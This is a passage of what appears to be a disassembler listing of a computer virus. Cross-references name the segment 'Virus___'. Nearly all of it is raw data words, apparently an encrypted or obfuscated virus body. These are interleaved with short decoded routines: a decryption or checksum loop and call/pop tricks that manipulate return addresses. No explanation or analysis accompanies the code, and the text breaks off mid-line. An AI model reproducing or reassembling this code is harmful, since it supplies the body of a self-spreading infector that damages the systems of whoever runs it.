605F12DCh, 0E8C5858Dh dd 9E8071Fh, 5D000000h, 50C0C442h, 0ACD735A3h, 14E9h, 5B453900h dd 8682862Ch, 5C8CAC88h, 8F045273h, 0EC5B0511h, 8A0F5F38h dd 6, 0D87DE781h, 0C08329D8h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 84CA50F1h dd 24048950h, 27159D8Bh, 6A071Bh, 68B0Fh, 8D090000h, 71B1B81h dd 6A6DDB80h, 0EBE38100h, 0FF4F81A6h, 1B1EA995h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 83AE9C60h, 8D8D58AEh, 71E979Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 3CC35242h, 7DDD9667h, 8B66D1FFh dd 5BD83DAh, 1071B21h, 0AD850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F18902C3h dd 95AE9646h, 81B84289h, 87FB3AE7h, 0E5C7800Ch, 0BB66026Ah dd 0BF90360Ah, 45F3DA4Ch, 0C8A0F50h, 0E9000000h, 7, 0DDB05D52h dd 9037F9A7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 21C35343h, 0EE9013Eh, 17000000h, 132A834Ah, 0E5EAF73Fh dd 5BFC2ECCh, 0DD95FF45h, 6A071B09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B08C356h dd 1B0495BDh, 959D8B07h, 0E9071B23h, 0D4Ah, 0E8h, 0ED815D00h dd 71FE8CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 1CC35343h, 33B41A8h, 1B27419Dh, 2858D07h, 66071E92h dd 9018E6BBh, 13A9BB66h, 12E950h, 81D0000h, 87BA075Ah dd 8FA44408h, 5D590BB1h, 0CFF529C5h, 0DA8B6690h, 35FF64h dd 51000000h, 14E9h, 1905DF00h, 0B68672Eh, 0F6AA4FC6h dd 0EEEC51BDh, 7B2BAFAAh, 89645FD6h, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 5649D822h, 4E35A8D0h, 23B18D29h, 8589071Bh, 71B08A1h dd 264D85FFh, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0B0F1EBC3h, 0FF6AE761h, 0EE9h, 0AE13AB00h dd 3F062128h, 178F5A80h, 0FF91F050h, 1B0651B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 12E88Ch, 0A4F00000h, 14DC55EBh, 0A82F884Fh, 8753EB7Ah dd 10A2B48Bh, 28E0Fh, 61600000h, 4595FF5Bh, 0E9071B2Fh dd 10Fh, 998D0B60h, 61071B0Bh, 8D8900B0h, 71B2D39h, 0B50170E6h dd 71B2259h, 96071E4h, 1B1C7DB5h, 59852907h, 61071B1Ch dd 8BDE8B60h, 1B24C195h, 613C6107h, 0D5830Fh, 0B70F0000h dd 0C8B60FFFh, 6BAh, 1BD2300h, 8B071B18h, 9D9D8BC1h, 50071B34h dd 4E8C15Fh, 218D9589h, 0F766071Bh, 9D8531E2h, 2B071B2Dh dd 0D9BF0FC8h, 0FCD18BF9h, 8D2DB81h, 94E90FD9h, 8A000000h dd 50858BDAh, 5047554Ch, 5BF88B66h, 0F07C083h, 681h, 499D8B00h dd 83071B12h, 0BD2300C0h, 71B2425h, 830FD03Bh, 20h, 10E9h dd 0A76ABE00h, 0DA2B70CCh, 0F8014E77h, 70F745EDh, 4DE9ACh dd 9D230000h, 71B25BDh, 0FFFF8D8Bh, 880FFFFFh, 0Bh, 58A0Fh dd 8BBF0000h, 834D9059h, 840F01E1h, 27h, 0AE9h, 96ECB900h dd 3BD8D4C4h, 830573E5h, 0FFFFFFA5h, 9589FEFFh, 47554C50h dd 355D9589h, 0E9071Bh, 8D000000h, 1F6A8BB5h, 6AFA8B07h dd 0C19D0B00h, 0FF071B2Eh, 1B128995h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 1A7776A2h, 0E8693555h, 5, 0F69365F2h, 0DAB70FF4h, 0B90FB35Fh dd 0FC7h, 6AFCE183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0A742C351h, 3125C354h, 0B7EB1290h dd 0BD89FCB1h, 71B1205h, 0B808B3h dd 0BA000000h, 0 ; --------------------------------------------------------------------------- clc loc_589D09: ; CODE XREF: Virus___:00589D13j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_589D09 push 0 push edx call sub_589D20 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589D20 proc near ; CODE XREF: Virus___:00589D18p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_589D20 endp ; --------------------------------------------------------------------------- mov esp, 99D02DD7h std retn ; --------------------------------------------------------------------------- db 0DCh dd 6AA20Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0D0B3B3C3h, 669B002Fh, 0BE83E64h, 0D000000h dd 0B13ED15Dh, 184FA404h, 8D8933E2h, 71B24B1h, 880D5Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 928DE2C3h, 958B4035h, 71B29B5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BBC35747h, 0FEDCB700h dd 8166455Ch, 8B7521C3h, 1B02F58Dh, 199D8907h, 50071B0Ah dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 4790AC6Ch, 9D8B2A99h, 71B3041h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0F7C35040h, 0BD839EC3h, 71B2165h dd 7F840F00h, 0E8000000h, 5, 37C50BBDh, 0ED9D8BBAh, 5F071B2Ah dd 2F8D8D89h, 0B8071Bh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9BD4C352h dd 518347DAh, 0B06021BAh, 2A3D9589h, 8D8D071Bh, 71B4F89h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 21C35747h dd 0FB09AEC2h, 0F532AD2h, 683h, 9DBD8B00h, 5B071B2Bh, 0BD83E1FFh dd 71B18CDh, 39840F00h, 0F000004h, 58Ah, 0DF816600h, 0BD83F35Eh dd 71B18CDh, 3C840F01h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 5EF3C351h dd 0BD83F92Fh, 71B18CDh, 0DA860F03h, 8B000003h, 1B0D85BDh dd 10E86007h, 8C000000h, 8B5298FDh, 6B7DBB91h, 302A4E9Eh dd 89B7659Eh, 1B21AD85h, 8C665B07h, 50006AD9h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0B59D896Bh dd 80071B2Ah, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 14745DC3h, 830F6D47h, 6, 31098589h dd 8509071Bh, 71B0D85h, 840FC90Ah, 0E3h, 8E9h, 0D9E7EE00h dd 1C617763h, 0E5858BAEh, 89071B30h, 1B18598Dh, 48F0F07h dd 66000000h, 33FBEBBFh, 1B305585h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0DA8B66D1h dd 0B6BB6650h, 2404897Ch, 1ABB006Ah, 0E9682670h, 5, 3D7627Dh dd 8BD76870h, 8B665B43h, 243481DFh, 5B5C8828h, 20E59D8Bh dd 0BD8B071Bh, 71B2691h, 4E995FFh, 6A071Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9A207CC3h dd 25BD01F8h, 89071B34h, 1EABC885h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0AAC6ACDAh dd 0E3816637h, 9D8B22A3h, 71B0A25h, 1FDE9h, 0A19D8B00h dd 8B071B1Fh, 1EABC085h, 0FEB70F07h, 1800C7h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 9B6072C3h, 0D812B786h, 5BDF8B53h, 0ABC4B58Bh, 7E9071Eh dd 0F9000000h, 0EC3BF1C4h, 858B1918h, 71B0149h, 0C890Fh dd 8B600000h, 1B327995h, 19BB6607h, 689610Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9DC35646h, 4652D2Ah dd 68E78166h, 0E5858B72h, 6A071B30h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 9A72C350h dd 35B58971h, 89071B13h, 0BD8B0446h, 71B260Dh, 3840F96h dd 66000000h, 5050D88Bh, 0FFA8B52h, 0E9525031h, 13h, 0D3C39AD4h dd 0FDEE29ACh, 36AC2A32h, 259CAD61h, 0F684FF4h, 12E831h dd 2D290000h, 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh, 585FBA6Fh dd 5A585A5Fh, 6A9658h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 7369D3C3h, 41E9EF49h, 9589B06Ah dd 71B115Dh, 0FFDE8B66h, 1EABC0B5h, 0F8BF0F07h, 0B1C1968h dd 81D98B5Eh, 1FE62434h, 6A5E14h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0B13CBEC3h, 0AC4C15DAh dd 7E970h, 2B600000h, 81757AAAh, 0C8858DE7h, 6A071EABh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 57FC353h, 44CDC5F9h, 0D88B664Bh, 0E9525090h dd 0Eh, 5DE1A436h, 75A081Dh, 440887BAh, 310F8FA4h, 6050585Ah dd 0B6ECB7h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 26A0F6C3h, 0F5B464C4h, 153D9D8Bh dd 95FF071Bh, 71B04E9h, 2975BD23h, 6061071Bh, 0E9D1BF0Fh dd 0Ah, 68417743h, 61C03B55h, 0C7619397h, 1B18CD85h, 307h dd 0C8BD8300h, 71EABh, 4F840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0E89F1BC3h dd 0D9B70F62h, 43E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0DB802767h, 28C0F35h dd 8B000000h, 0C3050DEh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 2A35BD33h, 6A071Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 66603AC3h, 8166D08Bh, 61A418E0h, 48C0Fh, 0BB660000h dd 9529FA98h, 71B26E9h, 18CDBD83h, 0F03071Bh, 39C85h, 0D9BD8900h dd 83071B0Ch, 1EABC8BDh, 840F0007h, 389h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 3C35343h, 693E3906h dd 11E8F0h, 7A40000h, 522B0814h, 0D71C780Ch, 0F370040Dh dd 8BC9EDF4h, 1B27399Dh, 0C7815F07h, 6BBC78E6h, 0ABC8B5FFh dd 0B589071Eh, 71B0999h, 9A595FFh, 9D8B071Bh, 71B0A89h dd 0ABBCB58Bh, 0DF81071Eh, 4848291Ah, 106C7h, 6A0001h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 9286BCC3h, 1BEBE2A0h, 0B5290B7Dh, 71B27C9h, 128E0F96h dd 0E9000000h, 0Dh, 0AC5083B8h, 0DAC5B4F4h, 0D377F541h dd 0FB8B50A0h, 5BD8B96h, 0FF071B13h, 1EABC8B5h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 9CB740E3h, 38A0F57h, 66000000h, 95FFFE8Bh, 71B3561h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 75C35242h dd 71EB1009h, 0BBBBFB8Bh, 8B51C5FBh, 1EABBCB5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 42A032C3h, 6890Fh, 0B5890000h, 71B2FC9h, 38A0Fh, 0F7800000h dd 11858BDCh, 6A071B04h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 75CFC353h, 0B099EDC4h dd 148C0459h, 1FB18531h, 8689071Bh, 0C4h, 0B5958BF5h, 6A071B29h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h dd 2783C351h, 0C2839C1Eh, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 5E9F07Ah, 0BD000000h dd 9845245Bh, 8B205089h, 0F9858DDFh, 6A071EBFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0CF35C353h, 53F698D1h, 805745E0h, 895BAAD3h, 0B886h dd 4D9D8B00h, 6A071B00h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0CA5CB57Ch, 0DBE3E7E8h dd 0ABC8B5FFh, 6A071Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0A7C0D1C3h, 0ECD4F8E2h, 95FFF923h dd 71B09DDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0CCC35141h, 0B80A329Dh, 6D60D781h, 8B964DE6h, 0F6050FEh dd 0D80h, 7E800h, 4D410000h, 0F607A657h, 3AB85B90h, 61115C11h dd 0C8B5FF96h, 66071EABh, 95FFDA8Bh, 71B0341h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0CCC35343h, 0BD8BACB5h dd 71B0B61h, 2431BD83h, 0F00071Bh, 3384h, 0D98B6600h, 0EE9h dd 5062CC00h, 0BE308A15h, 0FA1219D1h, 96D667FCh, 965F5150h dd 12810Fh, 870F0000h, 0Ch, 7E9h, 20A22400h, 5C7C6200h dd 0ABC8B5FFh, 8166071Eh, 0FF6148F3h, 1B18A595h, 0DA8B6607h dd 0ABC8B5FFh, 0FFF8071Eh, 1B293D95h, 45BD8907h, 83071B1Ch dd 1B28F1BDh, 840F0207h, 25h, 48F0Fh, 0BF660000h, 858BA3DBh dd 71B007Dh, 2A119D89h, 0C6071Bh, 75BD8B00h, 0F071B06h dd 81h, 9185C700h, 71B09h, 0B3000000h, 0F3F0E962h, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 6AB267C3h, 0C18B0A83h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 69C35141h, 12E96003h, 5B000000h, 51A93604h dd 826A2BA0h, 0DD6BAA82h, 0A8A96FE0h, 618BB2E4h, 21C1B589h dd 858D071Bh, 71B1255h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 9CC35747h, 8A505994h, 240489FAh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0EAC35343h, 50C80E45h dd 2DB18D89h, 895B071Bh, 1B149185h, 6A006A07h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 6A85C355h, 12E800h, 56030000h, 0CFD3B4DAh, 8794328Fh dd 931FA372h, 3588B510h, 6860Fh, 8D290000h, 71B059Dh, 17858D5Bh dd 8B071FF8h, 1B15EDBDh, 5C08307h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 32C35040h, 95298DD3h, 71B2775h dd 0E8606050h, 9, 26A1667Eh, 64423D4Bh, 0D68B5B9Ah, 4896161h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 14CF3280h, 3129BD31h, 0BD8B071Bh, 71B2C5Dh dd 8B60006Ah, 8E9D8h, 13910000h, 0F33B1E2Ch, 6A61F4D1h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0B3ABA9E0h, 95FF6768h, 71B1EA9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BC35040h, 21799D8Bh dd 8D8D071Bh, 71E979Ch, 20C58589h, 0D1FF071Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 93C35242h, 64A7D2E6h dd 5BD8369h, 1071B21h, 57850Fh, 8D290000h, 71B2B25h, 8950026Ah dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 97D194C3h, 382B7EC3h, 1F959D8Bh, 12E9071Bh dd 99000000h, 9B169B10h, 782AC62Ch, 982E301Ah, 0D7838DADh dd 0DD95FFDAh, 89071B09h, 1B2CE5BDh, 0E55E907h, 0E80000h dd 5D000000h, 0F821ED81h, 6A071Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 1851F1C3h, 1FE88160h dd 31474F87h, 1B228D85h, 858D6107h, 71E9202h, 12FD8D29h dd 6050071Bh, 60F18B66h, 656EB866h, 4896161h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 3419DBC1h, 9E9h, 258D4700h, 0C19DD59Bh, 0BF5632E7h dd 4661F6C4h, 35FF645Fh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_58AA1F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AA1F proc near ; CODE XREF: Virus___:0058AA17p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_58AA1F endp ; --------------------------------------------------------------------------- db 50h dd 0C39D4F3h, 66832669h, 589BD89h, 8964071Bh, 25h, 0E9858900h dd 0FF071B17h, 1B264D85h, 0A19D8B07h, 6A071B22h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0F2B4359h, 3694A321h, 0BB66BFB9h, 9531D23Ch, 71B267Dh dd 2DE1B5FFh, 9589071Bh, 71B0945h, 2F4595FFh, 2FE9071Bh dd 8B000001h, 1B24399Dh, 0E900B007h, 8, 56A42D83h, 0B3D25A05h dd 890F70E6h, 6, 29198589h, 0BF0F071Bh, 0E871E4FFh, 13h dd 0ACCBB840h, 48F295E1h, 0E8F01160h, 855EA9CDh, 0F77E4C3h dd 683h, 8D858900h, 5B071B2Fh, 830F613Ch, 0DAh, 9927EF81h dd 60606A13h, 49D8D8Bh, 958B071Bh, 71B2579h, 0D858961h dd 61071B31h, 89C8B60Fh, 1B16B18Dh, 6BA07h, 95090000h dd 71B0B7Dh, 0B589C18Bh, 71B188Dh, 8904E8C1h, 1B08D585h dd 0E2F76607h, 2DED8529h, 0C82B071Bh, 318D8960h, 8B071B23h dd 1B042585h, 0D18B6107h, 77E9D98Bh, 0F000000h, 0C80h dd 7E900h, 5CA50000h, 9E000C1Ah, 49858B75h, 8944004Eh dd 1B0D8595h, 7C08307h, 2E359D8Bh, 0C083071Bh, 0FD03B00h dd 1083h, 0BF0F5100h, 3BE95FFFh, 8B000000h, 1B352DBDh dd 0FF8D8B07h, 81FFFFFFh, 9F1D12F3h, 1E18312h, 20840Fh dd 9D290000h, 71B2161h, 0FFFFA583h, 89FEFFFFh, 4E4995h dd 99BD8944h, 8B071B11h, 0E9F8h, 0B58D0000h, 71F7A52h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C6C35242h dd 437DA318h, 1859B531h, 6A071Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 30C35141h, 8E9E2BA4h, 6203801h dd 26FD9D89h, 9D8B071Bh, 71B1749h, 128995FFh, 8166071Bh dd 0B96922EFh, 0FF5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 83C35141h, 0CC8354E7h, 64F3816Ch, 832EEBEDh dd 6AFCE1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 5F2549C3h, 66F1539Dh, 0FC68DABBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 22C35040h, 75FCFA3h dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 5E4669C3h, 8950C584h, 1B25D9B5h, 0D22B5B07h dd 98D38060h, 9E6FBE51h, 615A477Ch, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 72C35242h, 0FDA4C207h, 4BD380A0h, 9E9h, 0D14FD300h dd 4DE6C418h, 80608036h, 0BD894BC4h, 71B014Dh, 880D61h dd 8BF90000h, 1B29B595h, 0E19D3307h, 8A071B32h, 0F58D8BDCh dd 66071B02h, 8DD1C381h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0FA8B5818h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0CEC35343h, 292A317Fh, 0CE8h, 3EB02800h dd 0E75C4002h, 0B51BE3A7h, 31BD89A1h, 5F071B12h, 16459D89h dd 0BD83071Bh, 71B2165h, 4C840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0C103C353h, 0AFC6F8Dh, 0F29C9C2h, 48Bh, 1CBB6600h, 0B898h dd 0BD8B0000h, 71B1841h, 4F898D8Dh, 0B70F071Bh, 0D98B66F8h dd 0C6BBE1FFh, 83021348h, 1B18CDBDh, 840F0007h, 4C5h, 18CDBD83h dd 0F01071Bh, 4D384h, 83FD8A00h, 1B18CDBDh, 860F0307h dd 48Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 70C35141h, 1DD4A7C2h, 0B9BCEDF9h, 9EBB6695h, 0D99D09E0h dd 60071B2Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 8FC35545h, 0EF42B6BEh, 1A8292E8h, 0D98C6672h, 6A04E180h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 8B6DC352h, 839985Ah, 35D94156h, 840FC90Ah dd 165h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 90C35646h, 4F942D0h, 89BEF92Ch, 1B0A6585h, 11E807h dd 0DBC20000h, 7B71E680h, 0ADDB75F4h, 0F73CC4BEh, 6605EEE1h dd 8B5BDF8Bh, 1B30E585h, 68A0F07h, 89000000h, 1B23D99Dh dd 55853307h, 6A071B30h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0A52BC351h, 2CD23DDBh dd 4A1CDDAFh, 89F898B3h, 1B00B99Dh, 0BE609007h, 1028B1FEh dd 28C0Fh, 0D08B0000h, 52505061h, 0F525060h, 8B585A31h dd 310F61D7h, 12E9h, 0CFC89E00h, 0DCEF76AAh, 97738FF6h dd 5B395D25h, 5AF22A60h, 8B669058h, 13E9FBh, 0AA0F0000h dd 112F4736h, 2D6759A5h, 608AE520h, 0DA15E043h, 89006AB1h dd 1B16698Dh, 562F6807h, 0CE855A0h, 0BB000000h, 0B57315ABh dd 0B6417D69h, 0E94CE2F3h, 0Bh, 486C7DC2h, 7243AA2Ah, 5B21AB47h dd 0D0243481h, 6655BF55h, 95FFD98Bh, 71B04E9h, 10E9h, 0C3F8C700h dd 8666DDE9h, 4038B94h, 0A9B7C31Eh, 0C8858900h, 8B071EABh dd 1B059D9Dh, 1F5E907h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8160AAC3h, 0F97441D7h dd 0C0858B6Fh, 6A071EABh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 5E99C351h, 28C99589h dd 0C7071Bh, 18h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 93C35545h, 0CF812089h, 421BE3DEh, 0ABC4B58Bh, 6A071Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 8A2970C3h, 0B1B891Ch, 895305ABh, 1B334995h, 858B5B07h dd 71B0149h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 98C35343h, 503C4F08h, 0B3D0196Fh, 6A0689B0h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0EE2C353h, 0BF66DE2Fh, 858B531Fh, 71B30E5h, 45FA80BFh dd 446897Fh, 50DA8B66h, 0FE9h, 0AF4DA900h, 0F557E294h dd 939EF62Dh, 0F883E061h, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 368AC357h dd 0D3E0D1E7h, 6561FE7Bh, 0FFDFB70Fh, 1EABC0B5h, 7768F807h dd 66BD01CFh, 481FE8Bh, 1D348824h, 50006A43h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 60F61735h dd 2EB19D31h, 858D071Bh, 71EABC8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0E2C35545h, 89820F36h, 1B1EB9BDh dd 5E99007h, 0C000000h, 17E6FEA6h, 4850F50h, 66000000h dd 9009DBBFh, 0FFC2F780h, 1B04E995h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 9A12F958h dd 81669491h, 6153B6C3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0D1C35747h, 26BEFFFEh, 0C981609Ah, 17DAAA23h dd 1BD58589h, 8B61071Bh, 1B041D9Dh, 559D8B07h, 0C7071B25h dd 1B18CD85h, 307h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 3B8C8C1h, 81106163h dd 0A27BD3D7h, 0F5B58950h, 83071B08h, 1EABC8BDh, 840F0007h dd 4Eh, 1E8D0Fh, 0E9600000h, 5, 0D7CC9CDEh, 0DE97Dh, 16C50000h dd 0E144331Dh, 0DD645BFDh, 61788433h, 0D8D0Fh, 8E90000h dd 0D3000000h, 0C9DF939Ch, 0E9F4F46Ch, 2Dh, 21599D89h dd 860F071Bh, 6, 1385BD89h, 3050071Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 78A57660h dd 473E6F9Fh, 0BD8B7B67h, 71B12DDh, 0C41DD781h, 0BD8362FBh dd 71B18CDh, 66850F03h, 6A000004h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6664C353h dd 0F066F381h, 0ABC8BD83h, 0F00071Eh, 43884h, 9E900h, 5DC0000h dd 2CB156B8h, 0FFC0DF14h, 1EABC8B5h, 0ECDF8007h, 9A595FFh dd 0B58B071Bh, 71EABBCh, 5800FF5h, 66000000h, 0CA2CDF81h dd 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B10F0C3h, 1B26659Dh, 0DEB70F07h dd 56525050h, 820Fh, 0F5F0000h, 5AFE8A31h, 24348958h, 6870Fh dd 9D890000h, 71B33A1h, 6880Fh, 9D8B0000h, 71B2C39h, 0ABC8B5FFh dd 6A071Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0FC6A65C3h, 8B43D077h, 5D25BBD8h, 85892D0Fh dd 71B0095h, 356195FFh, 11E8071Bh, 57000000h, 0D14D63CFh dd 0ADDC9C0Eh, 793A17E9h, 49B27413h, 6E9h, 0B7DD0000h dd 5F4D3A13h, 0ABBCB58Bh, 5E8071Eh, 42000000h, 0DD6FD429h dd 11858B5Bh, 8B071B04h, 0C48689F9h, 0BF000000h, 91C014Fh dd 0B5958BF9h, 6A071B29h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 7768C355h, 0E0A20CCh dd 30D41C87h, 0F98B6652h, 318D895Bh, 83071B23h, 6A04C2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0CD974BC3h, 0D1BF368Eh, 89291CCDh, 6A2050h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 82A807C3h, 10E99048h, 31000000h, 0ED703EAEh, 5C7F438Dh dd 6E464F4h, 8DD2C4C4h, 1EBFF985h, 8E907h, 0D68F0000h dd 16FAEC5Dh, 8689C1A4h, 0B8h, 2A41BD8Bh, 6A071Bh, 0B2E38166h dd 0E9958948h, 0FF071B26h, 1EABC8B5h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 